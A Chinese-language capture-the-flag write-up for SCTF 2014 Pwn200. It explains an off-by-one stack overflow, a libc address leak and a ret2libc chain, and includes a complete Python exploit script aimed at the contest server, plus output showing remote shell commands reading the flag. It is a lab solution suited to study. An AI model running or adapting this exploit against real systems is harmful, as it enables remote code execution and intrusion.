SCtf2014 Pwn200 详解

本文年代久远,其中的表述和倾向可能与现在不同,请留意时效。

用某大牛的话来说,一道“简单的栈溢出”,题目用nc连上去之后就一行提示input name,试了一些%字符串之后无果,超长字串也没有问题,于是直接丢IDA分析。

程序很简单,就几个函数,通过xref很快理清代码逻辑,入口点进去就是调用一个 __libc_start_main开始main函数,然后有一些constructor和finalizer函数,主线就是0x80485c2(命名为call_main) -> 0x80484ac(命名为main_func) 其实call_main就是main函数,但为了逻辑清晰就这么写了

main_func中首先调用write输出“input name”的提示,然后调用read将结果写入一个16字节大的缓冲区,read和write共用一个nbytes变量,函数开始的时候nbytes初始化为16。read完紧接着一个strlen判断字符串是否>=10,若过长直接返回,长度恰当,调用strncmp判断输入字串的前8个字符是否是“syclover”。这里strlen和strncmp判断长度的参数都是固定的,无法利用。然后接下去又是write - read - write,提示输入另一个字串slogan,然后输出用户输入,第二个字串存入一个128字节的缓冲区。然后整个程序就结束了……乍一看似乎没有可以利用的地方,第一个read的缓冲区只有16字节,但是nbytes也是16,不会覆盖到别的地址……我的IDA不知为何F5会崩溃退出,导致有个很关键的点看漏了,实际上在第一次调用read之前0x804850f这个地方被插了个eax+1,接着eax+1被保存回原来nbytes的位置,所以其实read读取了16+1个字节,而不是16个

.text:080484F0 0BC                 mov     dword ptr [esp+8], 0Ch ; n  
.text:080484F8 0BC                 mov     dword ptr [esp+4], offset aInputName ; "input name:"  
.text:08048500 0BC                 mov     dword ptr [esp], 1 ; fd  
.text:08048507 0BC                 call    _write          ; Call Procedure  
.text:0804850C 0BC                 mov     eax, [ebp+nbytes]  
.text:0804850F 0BC                 add     eax, 1          ; <-故意插的桩  
.text:08048512 0BC                 mov     [esp+8], eax    ; nbytes  
.text:08048516 0BC                 lea     eax, [ebp+buf]  ; Load Effective Address  
.text:08048519 0BC                 mov     [esp+4], eax    ; buf  
.text:0804851D 0BC                 mov     dword ptr [esp], 0 ; fd  
.text:08048524 0BC                 call    _read           ; Call Procedure  
.text:08048529 0BC                 lea     eax, [ebp+buf]  ; Load Effective Address  
.text:0804852C 0BC                 mov     [esp], eax      ; s  
.text:0804852F 0BC                 call    _strlen         ; Call Procedure

有了这个出题人故意插的桩后边也就顺理成章,看下栈帧(ctfl+k)

-000000A1                 db ? ; undefined  
-000000A0                 db ? ; undefined  
-0000009F                 db ? ; undefined  
-0000009E                 db ? ; undefined  
-0000009D                 db ? ; undefined  
-0000009C slogan          db 128 dup(?)  
-0000001C buf             db 16 dup(?)  
-0000000C nbytes          dd ?  
-00000008                 db ? ; undefined  
-00000007                 db ? ; undefined  
-00000006                 db ? ; undefined  
-00000005                 db ? ; undefined  
-00000004                 db ? ; undefined  
-00000003                 db ? ; undefined  
-00000002                 db ? ; undefined  
-00000001                 db ? ; undefined  
+00000000  s              db 4 dup(?)  
+00000004  r              db 4 dup(?)  
+00000008  
+00000008 ; end of stack variables

buf下面是nbytes,17个字节刚好可以覆盖掉nbytes的最低位,这样下一个read就可以读入255字节的字串,足以从slogan覆盖到返回地址。需要注意一点是第一个read后面是有strlen和strncmp判断的,所以要用0填过去,最后一字节再置为0xff。

s = socket.socket()  
s.connect(('218.2.197.248',10001))  
s.recv(100)  
s.send('syclover'+'\x00'*8+'\xff')  
s.recv(100)

之后这里就可以控制程序返回流了,服务器开了nx和aslr,首先想到ret2libc,但有个问题,能够利用的read只有一次,但libc的基址是随机的,如何找到system()的地址?思前想后无果,先写了一段脚本打印栈结构

pl='a'*(128+16)+struct.pack('I',256)+'a'*8  
#这里palyload构造参照上面IDA栈帧结果  
s = socket.socket()  
s.connect(('218.2.197.248',10001))  
s.recv(100)  
s.send('syclover'+'\x00'*8+'\xff')  
#time.sleep(0.5)  
s.recv(100)  
s.send(pl)  
#time.sleep(1)  
data = s.recv(4096)  
print 'datalen:',len(data)  
if not data:  
        raise Exception('error')  
print '*-----------------*'  
frames = []  
try:  
        for i in xrange(128+16+4+8,len(data)&0xfffffc,4):  
                b4yte = data[i:i+4]  
                frame, = struct.unpack('I',b4yte)  
                #print hex(frame)  
                frames.append(frame)  
finally :  
        print 'continue..'  
for n in frames:  
        print hex(n)

最上面的一段结果:

L  
↓0xbff21228    ;call_main ebp  
 0x80485cd     ;ret to call_main  
 0x80485f0  
 0x0  
↓0x0  
 0xb75d74d3    ;ret to __libc_start_main  
 0x1  
 0xbff212c4  
 0xbff212cc  
 0xb777a858  
H  
...  
...还有很多很多

可以看到除了最顶上两个人尽皆知的ebpret addr之外我还标了一个返回到__libc_start_main的地址。因为main是通过__libc_start_main启动的(入口处),所以main的调用栈必定能回溯到__libc_start_main里面。但具体的调用链我不清楚……那就猜吧……hhhh反正在返回地址下面对不对 _(:з」∠)_题目同时给出了libc的bin,IDA找一下__libc_start_main

.text:000193E0 __libc_start_main proc near  
.text:000193E0  
.text:000193E0 env             = dword ptr -6Ch  
.text:000193E0 var_68          = dword ptr -68h  
.text:000193E0 var_64          = dword ptr -64h  
.text:000193E0 var_54          = dword ptr -54h  
.text:000193E0 var_50          = dword ptr -50h  
.text:000193E0 var_48          = byte ptr -48h  
.text:000193E0 var_2C          = dword ptr -2Ch  
.text:000193E0 var_28          = dword ptr -28h  
.text:000193E0 var_10          = dword ptr -10h  
.text:000193E0 addr_of_cunc    = dword ptr  4  
.text:000193E0 arg_4           = dword ptr  8  
.text:000193E0 arg_8           = dword ptr  0Ch  
.text:000193E0 arg_C           = dword ptr  10h  
.text:000193E0 arg_14          = dword ptr  18h

根据参数把arg0改为addr_of_func往下找

.text:000194C0                 mov     [esp+6Ch+var_68], ecx  
.text:000194C4                 mov     [esp+6Ch+var_64], eax  
.text:000194C8                 mov     eax, [esp+6Ch+arg_4]  
.text:000194CC                 mov     [esp+6Ch+env], eax  
.text:000194CF                 call    [esp+6Ch+addr_of_func]  ;Here is the call  
.text:000194D3  
.text:000194D3 loc_194D3:                              ; CODE XREF: __libc_start_main+12Ej  
.text:000194D3                 mov     [esp+10h+var_10], eax  
.text:000194D6                 call    exit  
.text:000194DB ; ---------------------------------------------------------------------------  
.text:000194DB  
.text:000194DB loc_194DB:                              ; CODE XREF: __libc_start_main+25j  
.text:000194DB                 xor     ecx, ecx  
.text:000194DD                 jmp     loc_19414  
.text:000194E2 ; ---------------------------------------------------------------------------  
.text:000194E2

也就是说返回到这里的时候应该是到0x000194d3的位置,结合之前打印栈结构的数据合理猜测0xb75d74d3就是对应的动态绑定的返回到__libc_start_main中的真实地址。于是libc的基址就可以这样计算:base = ebp+5*4-0x194d3,对应的system()的地址为base+0x3f430,"/bin/sh"字串在base+0x160f58,这些偏移均可以从libc中搜索得到,这里不再赘述。可是问题还搁在那没解决,地址找齐了,read也已经执行完了,没有机会再ret到system了,怎么办……又是一轮冥思苦想无果,尝试返回到其中一个read让read再次覆盖返回地址也没成功,期间倒是通过固定目标地址暴力循环盲打的方式成功溢出几回……向大牛讨问了半天如何构造堆栈能让程序ret到read上面之后还能读到有效的数据(关键是nbytes和fd),后来得出个结论:这几乎是不可能的,因为由始至终并无办法获得esp或ebp,也就没法计算read需要的参数偏移的具体位置,连填充数据填到了哪个地址也无法知道,所以ret回read不现实。后来大牛说直接给你看看脚本好了……原来他一开始也在尝试ret到read,半天发现不行,改为直接ret到函数开头,不过脚本写完回头忘了= = 好吧,改为ret到函数开头,成功。

最后exp的思路是

  1. 发送"syclover"+8个\x00+\xff,覆盖nbytes最低位
  2. 发送’A’*0x9c + 随意一个ebp + 0x80484ac(main_func的地址)覆盖返回地址,使程序重复执行main_func;同时通过程序write出来的数据获得返回到 __libc_start_main中的地址,再根据这个地址计算system()和/bin/sh字串的位置
  3. 在第二次调用的main_func过程中用同样的办法把返回地址覆盖为算出的system,ret_addr+8为/bin/sh的位置

成功利用的脚本如下

#!/bin/env python  
#coding:utf-8  
import struct  
import socket  
import time  
def run(cmd):  
        new_ebp = 0xbf000000  
        base = 0xb75b4000  
        t_addr = base+0x3f430  
        pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('II',new_ebp,0x80484ac)  
        s = socket.socket()  
        s.connect(('218.2.197.248',10001))  
        s.recv(100)  
        s.send('syclover'+'\x00'*8+'\xff')  
        #time.sleep(0.5)  
        s.recv(100)  
        s.send(pl)  
        #time.sleep(1)  
        data = s.recv(4096)  
        print 'datalen:',len(data)  
        if not data:  
                #raise Exception('error')  
                return  
        print '*-----------------*'  
        frames = []  
        try:  
                for i in xrange(128+16+4+8,len(data)&0xfffffc,4):  
                        b4yte = data[i:i+4]  
                        frame, = struct.unpack('I',b4yte)  
                        #print hex(frame)  
                        frames.append(frame)  
        finally :  
                print 'continue..'  
        #for n in frames:  
                #print hex(n)  
        addr_ret = frames[1]  
        print 'ret to:',hex(addr_ret)  
        base = frames[5]-0x194d3  
        print 'base:',hex(base)  
        addr_system = base+0x3f430  
        print 'system:',hex(addr_system)  
        #if addr_system != t_addr:  
        #       print 'not\n'  
        #       return  
        addr_shstr = base+0x160f58  
        print 'str:',hex(addr_shstr)  
        print 'addr_system:',hex(addr_system),'sh_addr:',hex(addr_shstr)  
        print s.recv(100)  
        s.send('syclover'+'\x00'*8+'\xff')  
        s.recv(100)  
        pl='a'*(128+16)+struct.pack('I',256)+'a'*8+struct.pack('IIII',new_ebp,addr_system,0x8048585,addr_shstr)  
        s.send(pl)  
        s.recv(4096)  
        print '================================='  
        s.send(cmd+'\n')  
        d2 = s.recv(4096)  
        print d2  
        print '================================='  
        s.close()  
if __name__ == '__main__':  
        while True:  
                cmd = raw_input('command: ')  
                run(cmd)

最后flag放在/home/pwn1/ffLLag_/flag这个文件中

[pnck@iZ2387cmgm2Z ctf]$ ./pwn200.py  
command: ls /home  
datalen: 256  
*-----------------*  
base: 0xb7551000  
system: 0xb7590430  
str: 0xb76b1f58  
addr_system: 0xb7590430 sh_addr: 0xb76b1f58  
=================================  
pwn1  
pwn2  
pwn3  
syclover  

=================================  
command: ls /pwn1/  
*-----------------*  
base: 0xb752f000  
system: 0xb756e430  
str: 0xb768ff58  
addr_system: 0xb756e430 sh_addr: 0xb768ff58  
=================================  
ls:  
=================================  
command: ls /home/pwn1  
*-----------------*  
base: 0xb7559000  
system: 0xb7598430  
str: 0xb76b9f58  
addr_system: 0xb7598430 sh_addr: 0xb76b9f58  
=================================  
ffLLag_  
pwn1  

=================================  
command: ls /home/pwn1/ffLLag_  
*-----------------*  
base: 0xb75a9000  
system: 0xb75e8430  
str: 0xb7709f58  
input name:  
addr_system: 0xb75e8430 sh_addr: 0xb7709f58  
=================================  
flag  

=================================  
command: cat /home/pwn1/ffLLag_/flag  
*-----------------*  
base: 0xb75f9000  
system: 0xb7638430  
str: 0xb7759f58  
addr_system: 0xb7638430 sh_addr: 0xb7759f58  
=================================  
SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}  

=================================